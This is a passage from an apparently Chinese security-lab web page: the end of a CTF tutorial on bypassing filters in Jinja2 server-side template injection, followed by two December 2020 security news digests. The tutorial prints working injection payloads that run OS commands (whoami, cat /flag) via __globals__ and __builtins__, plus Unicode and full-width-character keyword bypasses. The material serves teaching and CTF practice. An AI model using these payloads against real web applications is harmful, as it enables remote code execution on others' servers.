{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8']) 导入主函数读取变量 有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了 f = open('/flag','r') flag = f.read() 我们就可以通过import是导入__main__主函数去读变量,payload如下 {%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %} Unicode绕过 这种方法是从https://xz.aliyun.com/t/8581#toc-4学到的,我们直奔主题看payload {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} 这里的print绕过{{}}和attr绕过.上面已经说过了这里不赘述 然后这里的lipsum用{{lipsum}}测了一下发现是个方法 <function generate_lorem_ipsum at 0x7fcddfa296a8> 然后用他直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用,又学到了一种新方法,只能说师傅们tql {{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} 回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的 {{()|attr("__class__")}} {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} 知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下 {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%} 然后我这里顺便给个Unicode互转的php脚本 <?php //字符串转Unicode编码 function unicode_encode($strLong) { $strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符) $resUnicode = ''; foreach ($strArr as $str) { $bin_str = ''; $arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160) foreach ($arr as $value) 魔改字符 这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{{}},比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法 可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{,就会出现类似的字符,就可以找到︷和︸了,网址:https://www.compart.com/en/unicode/U+FE38 payload如下 ︷︷config︸︸ %EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8 还可以使用中文的字符魔改 { &#65371; } &#65373; [ &#65339; ] &#65341; ' &#65287; " &#65282; payload如下 {{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 总结 因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出 相关实验:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID87ed-2223-40e5-8083-f5c55d69af28  (通过该实验了解服务端模板注入漏洞的危害与利用。) 参考连接 https://p0sec.net/index.php/archives/120/https://www.jianshu.com/p/a736e39c3510https://www.redmango.top/article/43https://xz.aliyun.com/t/8029https://xz.aliyun.com/t/7746
网络安全日报 2020年12月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、iOS间谍软件长期存在于勒索活动中 https://www.securityweek.com/ios-spyware-emerges-longstanding-extortion-campaign 2、微软,FireEye和GoDaddy合作接管SolarWinds攻击所用域名 https://securityaffairs.co/wordpress/112376/apt/solarwinds-backdoor-kill-switch.html 3、HPE披露了Systems Insight Manager中的零日漏洞 https://securityaffairs.co/wordpress/112370/security/hpe-flaw-systems-insight-manager.html 4、研究人员发现名为Goontact的间谍软件可同时监视Android和iOS用户 https://securityaffairs.co/wordpress/112351/malware/goontact-spyware-android-ios.html 5、SolarWinds发布了Orion平台漏洞修补程序 https://thehackernews.com/2020/12/solarwinds-issues-second-hotfix-for_15.html 6、研究报告5G网络存严重漏洞可跟踪用户位置和窃取数据 https://thehackernews.com/2020/12/new-5g-network-flaws-let-attackers.html 7、CybelAngel分析团队发现在线暴露的超4500万张医学图像和相关信息 https://threatpost.com/million-medical-images-online/162284/ 8、Bronze Bit Attack 可绕过Kerberos 认证 https://cyware.com/news/the-bronze-bit-attack-can-bypass-kerberos-protocol-7853a276 9、以色列公司Cellebrite可以入侵Signal https://www.haaretz.com/israel-news/tech-news/.premium-israeli-spy-tech-firm-says-it-can-break-into-signal-app-previously-considered-safe-1.9368581 10、Zebrocy恶意软件新变体使用Golang编码和VHD文件躲避安全软件 https://cyware.com/news/zebrocys-evolution-with-golang-based-version-enjoys-low-detection-d5033888
网络安全日报 2020年12月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Gitpaste-12僵尸网络针对Linux服务器和物联网设备 https://thehackernews.com/2020/12/wormable-gitpaste-12-botnet-returns-to.html 2、研究人员发现了一种通过Wi-Fi信号频段进行窃取数据的侧信道攻击-AIR-FI攻击 https://thehackernews.com/2020/12/exfiltrating-data-from-air-gapped.html 3、专家发现了一个新的Windows信息窃取软件PyMICROPSIA https://securityaffairs.co/wordpress/112335/apt/pymicropsia-malware.html 4、Medtronic MyCareLink存在漏洞可使攻击者控制植入的心脏设备 https://securityaffairs.co/wordpress/112328/hacking/medtronic-mycarelink-flaws.html 5、攻击者利用SolarWinds 攻击绕过MFA访问美国智库的电子邮件 https://www.securityweek.com/group-behind-solarwinds-hack-bypassed-mfa-access-emails-us-think-tank 6、数百万的工业设备受Urgent / 11漏洞和CDPwn漏洞影响 https://www.securityweek.com/vast-majority-ot-devices-affected-urgent11-vulnerabilities-still-unpatched 7、Firefox修补了严重的漏洞,也影响Google Chrome https://threatpost.com/firefox-patches-critical-mystery-bug-also-impacting-google-chrome/162294/ 8、Spotify遭数据泄露后强制用户更改密码 https://threatpost.com/spotify-changes-passwords-data-breach/162256/ 9、越来越多的制造业成为网络攻击目标 https://cyware.com/news/cyber-threats-crawling-across-manufacturing-organizations-3b967aaf 10、钓鱼邮件冒充eFax等企业窃取用户Office 365凭证 https://abnormalsecurity.com/blog/spear-phishing-campaign-targets-enterprises/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页